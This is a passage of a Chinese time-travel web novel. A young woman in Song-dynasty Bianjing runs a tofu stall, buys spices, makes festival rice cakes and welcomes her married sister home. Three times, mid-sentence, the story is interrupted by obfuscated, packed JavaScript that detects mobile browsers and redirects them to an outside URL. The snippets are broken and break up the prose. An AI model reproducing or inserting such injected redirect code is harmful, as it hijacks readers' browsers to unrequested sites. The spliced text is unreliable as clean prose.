被辣得一头大汗的凌花也看呆了：“双儿竟这样会吃辣。我依稀记得，你方才拣了茱萸最多的那碗蘸料。如今吃起来，却是轻轻松松。” 容双从碗里仰起脸，歇了口气：“花儿婶您有所不知。我是蜀地人，母家那边都喜吃辣。这点茱萸对我来说，根本不算什么。” 江知味对她的口味有数了。 再看两小只。他们面前的蘸水，是她特意调配的。没放糊茱萸，只多放了些酱。连蒜末和葱末都只放了极少量，生怕他们被辣着。 这回他俩总算不用一边斯哈，一边拣锅里的吃食吃了。可就算不辣，吃个清水涮菜蘸酱，也把他俩香得摇头晃脑的。 她可太喜欢这种爱吃饭的天使宝宝啦。光看他们吃饭，都觉得特别有成就感。 一行人吃得挥汗如雨，铁锅里的食材跟着浅了下去。 等大家伙都吃饱了准备歇下，容双一声不吭地从怀里摸出了一个钱袋来：“知姐儿，送你的，开张大吉。那日没能捧上你的场，我总觉得心里头过意不去。你快瞧瞧，这钱袋子的样式还满意么？” 江知味被惊喜到了，接过容双递来的钱袋子。 钱袋子巴掌大小一个，一共缝了三层，摸起来相当厚实。最外面那层用了墨绿的底色，上面绣着通宝、银锭子和金元宝，一旁还配了两朵牡丹，想来是取的“花开富贵”的寓意。 江知味喜欢得紧，就是想到了装铜板的那个大布包，总觉得这钱袋子于她而言有些小了。 容双一眼看出她的迟疑，笑眯起了眼：“这可不是给你装铜板用的。你要是赚得盆满钵满，就这么个小钱袋子，哪里够装。” 她招招手，示意江知味凑近些：“我做这钱袋，是为了给你装金子用的。里头的内衬，做的都是元宝的形呢。” 江知味顿时咧开嘴，笑到了耳根处：“那够了，太够了。” 她小心翼翼地将钱袋放在怀中，双手轻按上去，仿佛指尖已经摸到了那亮晶晶的大金元宝，心中喜不自胜。 又想到什么：“双儿，今晚上我那摊子要上新品。你既闻不了油烟味，等刘大哥回来，让他到我摊子上带一份给你，保准香得你把舌头都吞了。” 11. 浇汁豆腐 因夜里要上新品浇汁豆腐，江知味打了个盹，午后又去了趟油铺，买了一大桶菜籽油。家里的葱蒜、芫荽、孜然和茱萸也不够了，便都到街上小摊补给了一番。 浇汁豆腐要做得好吃，要领在那汤汁上。这里头有一味很重要的调料——十三香粉，在后世能买现成的，倒不需要她花太多心思。 但如今身在北宋，江知味为了那十三味香料，带着租来的驴子，跑了许多家药铺子，还是差了其中的好几味。 当她将要悻悻而归，拿家里现有的五香粉做平替时，那李家药铺的掌柜给她指了条路：“小娘子不妨去大巷口那边看看。那儿新开了一家兴隆堂，里头专卖各类香料无数，说不定能凑齐娘子讨的这药方。” 江知味千恩万谢，急匆匆地往兴隆堂赶。 说起这兴隆堂，江知味似乎有点印象。 她曾在野史中了解到，后世用的十三香就发源于北宋时期。那位兴隆堂的掌柜姓王，据说还是从朝廷出来，弃官从商的那种。 这事甭说是在士农工商阶级分明的宋朝，就算是在后世，辞了铁饭碗深入商海创业，也是挺令人唏嘘的。 到兴隆堂时，店里空荡荡的没个招待的人。江知味嚎了两嗓子，才把打着哈欠的店家从帘子后头嚎出来。 那店家睡得头发蓬乱，面上还压着草席的褶，显然没想到这个尴尬的时间点，还会有客人登门。 江知味赶时间，开门见山道：“掌柜的，你这儿可有十三香卖？” 那掌柜的一听就来了精神，上上下下将她打量了一通，忙道：“有的，有的。娘子随我来。” 江知味随着他往帘子后头走。之后便见他从一个塞满了布条的木桶里，单独挖上来一个陶罐。盖子一掀开，迎面而来一股浓郁的八角肉桂香。 就是这个了。 再看上头插着的价签。一罐十三香二百文，着实不便宜。但浇汁豆腐里十三香的用量不多，看在这么一大罐能用许久的份上，江知味并没有讨价还价，果断地掏了钱。 她记得野史上写着，十三香日后会进入宫廷，成为达官贵人的食用香料。这就意味着，后头的十三香指定要涨价。现在这个价钱，已经算是相当低廉的了。 这般想着，江知味动了囤货的心思：“掌柜的，你这铺子里还有多少十三香？” 掌柜的又是眼前一亮：“回娘子的话，铺子里的十三香卖得不好，因此只做了这么一桶，一桶里有二十罐。您买去了一罐，还余下十九罐。” “可还能多做些？” “能是能。”掌柜的略一迟疑，“就是需要的时间长些，做上十天半个月都有可能。毕竟方子里许多药材要到邻县去采买，您要是能等，我就还能做上两桶来。” 两桶就是四十罐，加上余下的这些，得花去十贯多钱。江知味手头上确没这么多钱，但对于十三香的投资，她认为势在必行。 半个月后一切都未成定数。只要她凑够了这十贯钱，之后等待她的，就只有稳赚不赔。 她没再犹豫，与掌柜的约定：“那就按你方才说的，这些我都要了。半个月后我来取货，只是这个定钱……” “不用，不用。我瞧娘子面善，信得过您。到时您来店里，一并付了余下的银钱便是。” 江知味本还想替自己辩驳一番，没想到事情竟出乎意料地顺利。连这种不立契、不付定钱的买卖都敢做，这掌柜的倒是大胆。 想了想，许是这店家到底刚脱下孔乙己的长衫，没什么做营生的经验，给她赶上了好时候。她便恭敬不如从命，笑眯眯地捧着那罐十三香，同他话别了。 “王掌柜，半个月后见。” 王掌柜喜上眉梢，等送走了江知味，打算回去继续打盹时，才猛地反应过来：“我什么时候同她说过我姓王了。嘿，难道我在这汴京城的名气，已经如此之大了么。” 越想他越是高兴，连带着整个人都精神抖擞起来。算了，不睡了，抓紧找人进货去吧。 * 日头渐斜，江家的灶房里，江知味正如火如荼地准备今晚上要用到的浇汁。 锅里倒油，下入蒜末煸炒出香味。再依次放入茱萸粉、孜然粉以及少许十三香，压小火持续炒香。 待锅中的调料都搅拌均匀，冒起均匀的小泡后下入热水。再添酱油、黄豆酱、少许盐和白糖，等再次煮开后，补上一碗豌豆淀粉水，持续搅拌，小火收汁。 做好的浇汁鲜香浓稠，江知味将其从锅中盛出，都装在了保温桶里。 据凌花说，这保温桶是先前她和江大在赵太丞家住院的时候，她特意买的。 那会子天还不大热，两人刚落水，都还昏迷着。为了能给他俩喂上一口热粥，凌花就带着这个桶两头跑。 本以为今后便闲置了，没想到还能派上用场。 但说起这保温桶，江知味又有点佩服起古人的智慧了。 它的最外层是由竹子编制而成的，里头能放陶甑或者其他身窄体长的器皿。这种天气，在夹层里塞上稻草、布条一类用以保温隔热的东西，保温个两个时辰都不成问题。 再就是豆腐的制备了。 浇汁豆腐和铁板豆腐不同，为了炸出金黄酥脆的焦皮，需得用上水分低一些的老豆腐。 在她回来之前，凌花已经给豆腐点完卤，都压在院子里的木桌上。 盖着的纱布一揭开，嫩豆腐雪白细腻，如妙龄少女的肌肤一般。老豆腐则如半老佳人，上面雕刻的浅显纹路，带着一股历经风霜之感。 江知味把豆腐挪到平头车上，抬头一看，天都快黑了。 匆忙地抓了一把鸡头米垫肚，她搬了一口自家灶台上的铁锅上车。又将豆腐、浇汁，还有放茱萸粉、孜然粉、铁板豆腐酱以及葱花、芫荽的瓶瓶罐罐，都装到了车上。 吭哧吭哧地来到横桥子桥头时，宽婶正站在摊子旁发愣。她手边扶着一块木板，上面空空荡荡的什么都没有。 江知味同她招呼了一声。宽婶立马回过神来，上来搭了把手，帮江知味把车子固定好了。 她面上的神情依旧有些拘谨：“江娘子，你说的木头牌子，我已经准备好了。笔墨我也都带来了，你瞧瞧。” 江知味点头应好，接过笔，蹲在泥地上，在木板上写了一列大字：凡购江记大份豆腐者，购买宽婶家饮子可惠一文。 一旁还写明了豆腐和饮子的标价。 铁板豆腐：小份两文，大份三文。 浇汁豆腐：小份三文，大份五文。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128025|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆儿水两文、浆水两文、甘草水三文、薄荷水三文…… 另附上了一行小字：最终解释权归江记小食摊所有。 之后将这块板子，靠在了小吃车的前头显眼处。 一旁等着吃铁板豆腐的食客探过头，打量了一番木板上写的：“浇汁豆腐？” 江知味指了指放在铁板边上的大铁锅：“不错，是江记小食摊的新品哦。浇汁豆腐用的是经过油炸的老豆腐，再淋上我们家的秘制酱汁，吃起来又香又脆，客人可要来上一份？” 那人瞬间两眼放光：“来，一份不够。我还要给我的同僚捎去呢。” 说着递来了一个食盒：“江娘子，要两大份浇汁豆腐，两大份铁板豆腐，都是一份要辣，一份不要。” “好，客官稍等。您是第一位，这起锅烧油还需要点时间。”江知味嘴上说着话，手里却忙个没停，“您若是想喝饮子，就带着我家豆腐去宽婶那儿。像您这样买了四份豆腐的，可以买四杯优惠一文钱的饮子哦。” “那岂不是花两杯浆水的钱，就能买上平日里的四杯了？” 江知味颔首一笑：“正是。” 两人正说着，宽婶也如前日里约定好的那般，在摊子上吆喝开了：“宽婶家饮子和江记小食组团优惠咯。凡购买江记大份豆腐者，凭豆腐可享饮子一文优惠。买一份，减一杯，买两杯，减两杯，多买多减咯——” 气氛顿时被嘹亮的吆喝声吵热了。队伍后头排着的食客蠢蠢欲动，纷纷探头往饮子摊上看。 宽婶鲜少被人这般注视，顿时心跳如擂鼓。 但她谨记那日后来江知味说的：“咱们这叫商战，既是打仗，就得把号子喊得又响又亮。我在那木板上写的，只能让那些识字的人晓得饮子摊的优惠，那些不识字的就只能听个响。那就得靠宽婶您，自个儿把那些人吸引过去。” 她定了定神，又一声接一声地吆喝起来。 与此同时，江知味这头也展现了她的三头六臂。左手边是铁板，右手边是才方烧热的油锅。 她一面将酱料匀匀地刷在铁板豆腐上，一面从夹层中抽出一大板预先切成小四方块的老豆腐，投入油锅之中。 锅里滋啦冒起油泡，里头的豆腐块很快被炸得面面金黄。 她操起竹笊篱，将最先一批下锅的豆腐捞出控油，之后盛到碗中，撒上芫荽和茱萸碎，浇了一勺滚热的汤汁上去。 那排在队伍最前头的食客，被阵阵油炸的香气冲得险些说不出话来。被江知味唤了两声后，才如梦初醒一般从怀里摸出铜板，十分虔诚地递了过去。 作为拎着头一份浇汁豆腐的人，他收获了无数艳羡的目光。带着食盒，刚来到宽婶摊子前要了四碗浆水，顿时被食盒里溢出的香味勾得走不动道了。 “这油炸之物还是得现炸现吃才香嘞。要不然我先吃上一份浇汁豆腐，然后再把余下的那些给觅之送去。反正这厮吃什么都只为填饱肚子，不在乎多等个一时半刻。” 刘廉只用一句话便说服了自己，满脸笑意地将食盒搁置在宽婶的小桌上。 他揭开食盒盖子，将里头盛了浇汁豆腐的木碗端出来，十分贪婪地吮吸了一口散发出的浓香。而后如饿狼扑食般举着筷子，一头扎到了碗中。 12. 秋社米糕 刘廉自封“嗜辣老饕”，可谓无辣不欢。 像李四分茶卖的杂和辣菜，州桥夜市的辣脚子、姜辣萝卜、芥辣瓜儿，南食店的姜辣羹，都是他平日里的心头好。 所以即便他手里的这碗浇汁豆腐，在浇汁上头还额外添了一勺干茱萸粉，他都不觉得辛辣难忍，反而觉得吃到口中，格外得火热过瘾。 豆腐炸得火候刚好。破开表层薄薄的酥皮，很快能咬到里头软嫩却不乏韧性的豆腐芯子。 那芯子里头布满孔洞，此时皆已吸饱了汤汁。轻轻一挤压，便有滚热的汤汁从唇齿边溢出。 刘廉被烫地嗷叫了一声，连忙接过宽婶递来的浆水，送及唇边降温。 浆水清凉，及时雨一般缓解了他的痛楚。他很快重整旗鼓，继续向浇汁豆腐发起进攻，吃得身上衣衫被汤水溅着了都不顾。 浇汁豆腐名副其实，最具咸鲜味道的，还属后面浇下去的半碗汤汁。 刘廉沉溺于汤汁的鲜美，半点都不舍得浪费。待把碗里的豆腐都吃完了，还不忘用筷子扒了扒碗底留下的芫荽末，与汤汁一并送进了口中。 吃完后，他用剩余的半碗浆水漱了漱口，只觉得酸甜解腻，无比舒爽。 心想着，怪不得江记小食要与宽婶饮子捆绑销售，原来二者的搭配当真如此玄妙。也十分庆幸今日听了许主簿的话，趁着出公差来了趟横桥子夜市。 这传闻中做得一手好豆腐的江记小食的确有两把刷子，叫他口腹皆得以饱足，果真不虚此行。 他心满意足地付了钱，骑着驴子，带着一食盒的宵夜往枣冢子巷去了。 亥时刚过，在众食客赞不绝口的夸奖声中，江知味摊子上的豆腐销售一空。这对她来说算是常事，毕竟开张这几日，她每日都能卖个空空，只不过今日售罄的时辰比往常更早了些。 但于宽婶而言，颇有点天上掉馅饼的感觉。因备货量不多，她家的各类饮子，在亥时过半那会儿就已经见了底。这是此前从未出现过的盛况。 不少人还在摊子前抱怨，觉得没捡着这现成的便宜，总觉得是亏了。 宽婶只好道歉又道歉：“您明日再来，明日还和今日一样实惠呢。”这才把几个气鼓鼓的食客，哄得舒坦着离去。 周边的摊子都在收拾东西，宽婶左右见没人看着，蹑手蹑脚地从推车里摸出三个竹筒子来，又蹑手蹑脚地往江知味的小车上一放：“江娘子，请你喝饮子。” 江知味抬头瞧见：“您卖的饮子不都是用碗装的么，什么时候还备了竹筒子？” “专门给你们备着的。”宽婶难得流露出一丝得意，“都是放井水里镇过的，可凉了。你喝一杯，剩下的带回去给你家那俩年画娃娃。我瞧着他俩，大眼睛馒头脸，可讨人喜欢得紧。” 江知味便笑着收下了：“那我替暖姐儿和晓哥儿谢谢您嘞。明日他俩过来，一定让他们当面再谢谢。” 宽婶笑得满脸开花：“不用，这么客气做什么。要没有江娘子的主意，我这饮子摊的生意，还好不起来嘞。虽说我今日卖出去的每一杯都砍了利，但我方才偷偷数了，挣得比昨日多得多。” 说罢她又补了句：“江娘子，整个横桥子，不，整个汴京就我一家摊子同你有联系，这就是娘子说的‘人无我有’吧。” “是这个意思。”江知味道，“而且有了我的加入，旁人看了，也只会觉得，这一文钱不是你主动要求减的，而是落入了我的囊中，算你给我的好处。如此也能堵上其他饮子摊主的嘴，省得别人说你打价格仗、搞恶性竞争。” 宽婶若有所思地点点头：“还是江娘子想得细致。不过娘子，后日就是秋社日了，你明日还要出摊，不需要拾掇家里吗？” 江知味记得凌花也说过“秋社日”的事。她脑海中没有关于秋社日的记忆，只知道那天江眠要回门，却不晓得还有其他规矩。 便如实说了：“我打小在应天府长大，从前的家里，没有过秋社日的习惯。您不妨同我说说，秋社日都有什么习俗？” 宽深若有所思地点了下头：“这秋社日啊，是为了祭祀土地神留下的节日。习俗与端午和重阳差不多，无非街坊邻里的，互相送送社糕和社酒，都是自家做的，讨个彩头罢。到秋社日那天，家里出嫁的女儿会回娘家，这做外公姨舅的呢，就得准备嫩葫芦儿和枣儿，送给回家的小外甥。” 她话音一转：“江娘子家中，可有读书郎？” “我三弟，在学塾里念书呢。”江知味道。 “那就是了。在这种学塾里，教书先生会提前管诸生收取社钱，用作秋社日当天聚餐的开支。还会给他们分花篮、果子和旁的糕点吃食，让他们带回家去。” 江知味听明白了，也就是说那日江眠和江风都要回来，那是得提前准备准备：“怪不得你要那么问。那我明日同我娘商量一下，若家里用得上我，明日便不出摊了。后日再带俩孩子过来道谢啊。” 宽婶捂嘴笑了笑：“这就生分了啊，该是我对江娘子千恩万谢才是呢。嗳，我也不耽搁了，得回去了。我家柔姐儿一个人在家，醒来见不着我，怕是会哭。” “那您快回去吧。”江知味打了个哈欠，“我也乏了，喝完饮子就回去了。” 两人一如往常那般道了别。 江知味拿起宽婶给的其中一支竹筒，送到了嘴边。 这三支竹筒里装的都是浆水，是宽婶摊子上卖得最好的饮子。此物由米汤发酵而成，里头搁了丁点白糖，喝起来很是酸甜清爽。 这不就是古代版奶茶么，取用的还是天然健康的食材，比后世的科技水预制菜好多了。 要不怎么说宋人懂得享受呢，《清明上河图》中随处可见的“葛优躺”和“二郎腿”，可不正是悠闲松弛的表象。 江知味记得，以前读书那会儿，历史老师在课上说起，要是有朝一日他穿越了，首选的朝代必定是宋朝。 果然实践出真知。直到她真的穿越了，才知道千年以前的生活质量一点儿不比后世的差。 她满心知足地拉着车子回去，如约把两杯浆水给了江暖和江晓。两个孩子都已经睡了，听见有饮子喝，都摇摇晃晃地爬起来。 江晓半梦半醒，边喝嘴里边嗫嚅：“娘，我梦见喝浆水了。真好喝。” 江知味和凌花都忍不住，扑哧笑出了声。 如宽婶所言，第二日的江知味果真没能顺利出摊。为了迎接大姐儿和小外甥，一家子连同两个小娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128026|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃在内，都忙碌了整整一天。 凌花一早便随周婶和冯四娘去郊外摘枣子。本意想早去早回，回来还能洒扫洒扫屋子。 没想到大家伙都是存了这个心思，以至于这日的车马行一驴难求。三个妇人拉不下脸面动手，扯破了喉咙都没抢过来一头驴子。 得亏后来碰上了好心人，捎了她们一程，才让凌花赶在午时之前回到了家。 此时的江知味已经带着两小只扫完了大半屋子，还剩半间院子和前头的豆腐铺子没来得及扫，只粗略地洒了些水。 江家这屋子是凌花母亲留下的祖产。前头两进的铺面，承载了三辈人的营生。 因凌花是家中最为受宠的老幺。出嫁时候，母亲将要病逝，家中又没有男丁，这屋子便被母亲以遗产的名义赠予凌花做陪嫁。并允许江大将凌记豆腐铺子改为了江记，只愿他能用一生守护凌花和这个家。 江知味洒扫的时候便在想，要是没有那场意外，江大已经实现了他的承诺。他是真的很努力地守护着这个家，可惜天不遂人愿。 凌花的喊声将她从思绪里拉回来：“知姐儿，洗点枣子吃吧。你们三个小毛头都歇歇，剩下的娘来就是。” 江知味压根歇不下：“娘，你可吃过午食了？” “朝食那肉片镈饦和烙饼子还在我喉咙口呢，一会儿吃点枣子就应付了。” 江知味也不饿，问问两小只，也是同样。便进灶房，做起了隔日需要的社糕。 所谓社糕，其实就是加了糖或其他果料的米糕。而且无论糯米还是粳米，都得用当年收获的新米，寓意着感恩土地、祈获丰收。 江知味将新米研磨成米粉，之后取了一半的米粉，加入磨好的黑芝麻粉，做了个内陷，再在表面撒上些许桂花干，隔着纱布上锅蒸熟，便成了带着黑芝麻夹心的桂花米糕。 这桂花是一早江知味和两小只一起到巷子里摇的。在日头下火烧火燎，才过半天，就晒了个大干。 一半被她存到了罐子里，可供平日里作食材用。另一半被她装到了容双送的钱袋子里，暂时成了个桂花香囊，走到哪里，都飘香满路。 但装在香囊里的桂花，远不及上锅得了热气催发的桂花那般，香得四下里无孔不入。 凌花被香得打了个喷嚏。看着一脸垂涎的两小只，拍了一下他俩的屁股：“嘴馋就去吧。知姐儿也真是。这么香的糕点，哪还留得到明日呐。” 两小只屁颠屁颠地就到了灶房门外。江知味给两小只一人分了一块，都道暄软好吃得紧，吃完还要讨。 她自己也拣了一块送入口中。 米糕不湿不燥，吃着水分刚好。因其中没放多少糖，品尝起来味道十分清淡，更大力度地凸显出大米本身的清甜。 原本显得喧宾夺主的桂花香气，到了口中，只余下若有似无的一点。伴着里头炒制过的黑芝麻内陷，吃得那叫一个满口留香。 别说两个孩子了，江知味自己吃着，也觉得刹不住车。内心明明觉得吃得不多，往锅里一瞧，竟只剩下孤零零的三小块了。 凌花一语成谶，江知味一脸无辜。 罢了，自个儿嘴馋吃的能怪得了谁。只好明早起来，再做一回社糕咯。 13. 大姐回门 秋雨濛濛，下了整夜。 凌花翻来覆去一宿没睡踏实，天还没亮，就撑着纸伞，到码头接人去了。 今日汴河上的漕运格外繁忙。 纤夫们三五成群，喊着“嘿哟嘿哟”的号子，喊开了汴河上的黎明。纷繁错落的油纸伞下，多的是行色匆匆，带着孩子归家的妇人。 凌花等了将近一个时辰，直等到雨都停了，看过了无数登岸的游人，终于在人群中，见到了一脸倦意的江眠。 江眠今日套一身水蓝色的对襟长袖短褙子，下着米色百褶裙。左右肩头各背了一个布袋包裹，手里还抱着一个头发剃得精光的幼童。 想必那就是琪哥儿了。 凌花喜出望外，刚要喊出声，就见琪哥儿在江眠怀里又是蹬脚又是哭闹。一双小手在她耳畔胡乱地挥，扯得她的头发都松了两撮，就是不肯撒手。 江眠吃痛，轻打了一下他的手，倒叫这孩子哭得更大声了。 边上行人纷纷投去惊讶的目光，江眠满脸羞赧，低头掩面，走得愈加匆忙。 凌花忙上去迎他们：“眠儿，琪哥儿，这儿，这儿。” 江眠听见喊声，错愕地抬头，见是凌花，霎时满脸笑意：“娘，什么时候来的。书信里不是说了，让您在家里等吗？您看您被雨淋的，裙裾都湿透了。” 凌花这才留意到自己的狼狈，没应答，只拍拍手，试图从江眠手中把琪哥儿接过来：“来，外婆抱抱。” 琪哥儿瘪了下嘴，扭身不肯。 凌花悻悻作罢，转接下了江眠手上的纸伞和肩上的布包裹，顿时感受到了里头沉甸甸的分量：“从鼓城县过来怎么也得一天一夜吧，你那夫婿怎的没跟你一起，叫你又是行李又是孩子的受累。” 江眠道：“夫君衙里公事忙，抽不开身，我便自个儿回来了。” “那他竟不晓得唤个家仆随侍，路上帮忙拎点东西也是好的。何况这天还下雨，路上湿滑得很。万一摔了碰了，他如何担待得起。” 凌花句句都是嗔怪，又道：“我记得你素来体热，从前这种大热天，穿着短衫还恨不得打赤膊，今日怎的捂得这般严实，可是身体有哪儿不适？” “没有。”江眠语调温软，“娘，您就甭操心这那的了。我哪哪都好，琪哥儿也好。” 凌花这才收起脸上的埋怨之意：“那就好。你瞧你，嫁人这几年，都不见你寄回来几封书信。平日里音讯全无，你叫我这个做娘的，怎能不担心。” “家里事多，我这不是顾不上么。您寄来的信，我倒是都找人念了。爹爹和二妹妹可都好？” “都好，都好。眠儿你不知道，知姐儿此前在应天府，学得了一门好厨艺。近日在横桥子上摆夜市卖小食呢。”凌花说到了兴起处，“这几日卖的是铁板豆腐和浇汁豆腐，每日天没黑，就有许多食客在等了。光前日那一晚，就挣了八百多钱呢。” “这么多啊。那二妹妹做饭肯定很好吃，琪哥儿，咱们今日有口福咯。” 琪哥儿听了她们一路的闲聊，现下已经不闹了，又听见了“吃”，一张嘴，哗地流下一汪口水：“娘，琪哥儿吃。” 凌花替他擦了口水：“到家就能吃了啊。这会子知姐儿应该已经做好了社糕。本是昨日就该备好的，没想到太好吃，被他们三个三两下瓜分完了。” 话题扯到了“吃”上，凌花愈发喋喋不休。路上天又下起了小雨，她撑起纸伞，护着江眠和琪哥儿，一路说说笑笑，到了横桥子东巷。 凌花猜得没错，江知味的确已经做好了社糕。 不仅如此，还和周婶、李二狗、冯四娘他们交换好了。换回来的社糕，有红糖鸡头米馅儿的，有面上铺蜜枣和红绿丝的。另带回来一小坛米酒，是李二狗自家酿的。 五颜六色的糕点凑了一大盘，垒成了宝塔状。 凌花她们到家时，两小只围着桌子，兔子啃萝卜似的啃社糕啃得正欢。 “知姐儿，暖姐儿，晓哥儿，快来见见你们大姐姐。” 她声音一落，两小只匆忙把剩下的社糕塞进嘴里，几乎手脚并用地来到院门边，连身上沾了雨水都不顾。 凌花搡了他们一把：“去去，别淋雨。刚洗的澡，晚点又得臭了。” 江眠听笑了：“怕不是先前被我嫌臭嫌怕了，特意洗的澡吧？” 凌花翻了她一个白眼，见俩孩子把她的话当了耳旁风，一手拎一个，把在雨中玩得忘乎所以的两个拎回了屋檐下。 “回回都这样。一见着下雨，就跟半年没沾水的癞蛤丨蟆似的，咕了呱咕了呱地在水里蹦跶。” 江眠听得直笑。到檐下，把琪哥儿从手上放下来，又挨个戳了戳两小只塞满吃食的腮帮：“暖姐儿，晓哥儿，来认识一下。这是你们的小外甥。” 江晓此前，已经知道大姐姐生了个小外甥了。却不想，这外甥怎么长得和周婶家的三丫没什么差。 可他管三丫叫妹妹啊，怎么到了琪哥儿这里，就变成外甥了呢。 他百思不得其解，连忙向江暖投去求助的目光，用自以为旁人听不见的气声问道：“暖姐儿，为什么三丫是妹妹，琪哥儿就是外甥呢？要不然咱们偷偷叫妹妹，不让娘和大姐姐知道。” “那可不行。”江暖摆出一副大人样，义正词严道，“琪哥儿是大姐姐亲自生的，三丫可不是。” 江晓依旧木然：“不明白。暖姐儿，那你要是大姐姐生的，是不是也是我外甥。” 凌花哭笑不得，收了力气，在他的屁股上拍了清脆的一巴掌：“乱讲，那辈分不得乱了套。你还小，这事儿闹不明白也正常。好了，别说这些胡话了。晓哥儿，带琪哥儿玩去吧，你这个做舅舅的，可得把外甥照看好。” 江晓便牵着琪哥儿的小手，带他到一边玩去。 另有江暖负责喂他社糕吃，还贴心地把糕点上她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128027|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自认为不好吃的红绿丝挖了。 江眠看得心都快化了：“要琪哥儿平日里也能像暖姐儿和晓哥儿一般乖巧就好了。娘，你是不晓得这个岁数的男娃有多淘气。” 凌花一脸难以置信：“你忘了啊，他俩在琪哥儿这个年纪，也是一模一样的狗都嫌。没法子，只能熬，熬过去就好了。” 见江眠一脸丧气，凌花又道：“难得回来，你就安心，让孩子们自个儿玩去吧。还没吃朝食吧？来，吃块社糕垫垫，娘帮你把头发梳一梳，一会儿和知姐儿一起，看看你爹去。” 江眠这才反应过来，原来知姐儿一直在旁站着，忙拉过了她的手：“知姐儿都长这么大了，是个大姑娘了。” 江知味顺势福了福身，望着眼前江眠弯弯笑起的眉眼：“大姐姐好。” 之后便是你来我往的寒暄。 江知味与江眠姐妹重逢，相谈甚欢。从应天府聊到汴京，又从金明池一事直说到夜市摆小食摊，两人的话头怎么都落不到地上。 她也在交谈中发现，江眠似乎很不喜欢提起她在夫家的种种。每当她将话题引到鼓城县上，总会被她巧妙地拿旁的话岔开。 由此看来，江眠与夫家的关系似乎不大好，从今日只身一人来到汴京也能看出。 凌花曾说过，江眠是高嫁。她那夫婿生于商贾之家，靠捐官在鼓城县衙门谋得了一个衙吏的差事。 用曾经江眠的话来说，她那夫婿人品、样貌俱是出众，至于身负的官职与家中财力，只能算是他浑身优点中最不起眼的两个。 江大与凌花疼女儿，对她的婚事亦不加以干涉。两人便在双方亲友的见证下，在鼓城县风光大办了一场。 婚后，江大曾偷跑去过一回鼓城县。那时候远远瞧着，夫妻二人如胶似漆，与婚前基本无差。 他便放下心来，回到了汴京。 二人再见面，就是在嘉元六年的秋社日，也就是今日了。 卧房中，江眠欲给江大磕头，被凌花拦下：“你爹从前最是疼你。现在他说不出话来，你这样，他只能在心里干难受。” 她便起身坐到床边，握了握江大的手：“爹，女儿不孝，回来得晚了。” 江眠说着便哭了，细细碎碎说了许多，都是关于琪哥儿的。又把琪哥儿从外头喊来：“琪哥儿，来见过外翁。” 琪哥儿有些不情不愿，似是还惦记和和江暖、江晓他们玩，不仅不搭话，双眼还一个劲地往天光亮处瞄。 眼见江眠脸上渐渐浮起愠色，江知味打了个圆场：“琪哥儿这是饿了吧。大姐姐，方才那些社糕都是街坊送的，枣子是娘摘的，可都不算是我的手艺。我听娘说，你不是早就想吃我做的吃食了吗，我下厨，给你露一手。” 江眠昨日晕船，本就进食得少。今日只吃了一块米糕，说了不少话，又哭了好一阵，的确觉得腹中有些空了：“那就辛苦知姐儿了。我来搭把手。” 14. 家常菜 灶房里热火朝天。 按照江知味说的，江眠先把莲藕和排骨洗好了。 午食吃的是家常菜。这道莲藕排骨汤，就是江知味专程为琪哥儿这种半大幼童准备。 莲藕汤中的莲藕选用的是粉藕。与平日里炒菜用的脆藕的不同之处就在于，粉藕经小火慢炖后，吃起来口感粉糯，几乎不用什么调料，就能炖得清甜好喝。 江知味平日里，喜欢用后世广东的法子煲汤，用尽可能少的调料，还原出食材本身的鲜美。 因此这莲藕排骨汤，她也只是简单地将排骨焯了水，之后与切成段的莲藕和少许盐一同放进水中，等大火将汤水煮沸后，抽走了点柴，凭文火慢炖了起来。 再是糖醋里脊。 这道据说发源于清朝宫廷的御菜，在后世俘获了无数大人孩子的心和胃，在陕菜、豫菜、浙菜、鲁菜、川菜、淮扬菜、粤菜、闽菜中均能见到它的身影。 取里脊肉切成手指粗细的肉条，加入老酒、盐、五香粉和生鸡蛋，搅拌均匀后腌制个一刻钟。 在这期间，江知味用豌豆淀粉和面粉调出了一份裹粉来。尽管这个法子裹出来的脆皮较薄，也没有玉米淀粉和红薯淀粉来得酥脆，但实在是受到了本土条件的限制。 毕竟宋时还没有玉米、土豆和红薯，要不然怎么这会子只盛行吃炙肉、油饼而非脆皮炸鸡呢。 腌制好的肉条，在淀粉中打了几个滚。锅中烧油至七成热，便能逐一将肉条放入锅里炸制了。 为了让里脊肉的皮子吃起来更脆些，江知味将炸过的肉条捞出，又下锅复炸了一轮，直到肉条呈现出油汪汪的金黄色。此时即便空口来吃，亦是酥脆无比。 这会子的江眠帮不上什么忙了。便把三个小毛头招呼来，给他们一人手里塞了一块刚出锅的炸里脊肉。 三双稚嫩的小手，被里脊肉烫得在半空中跳舞。 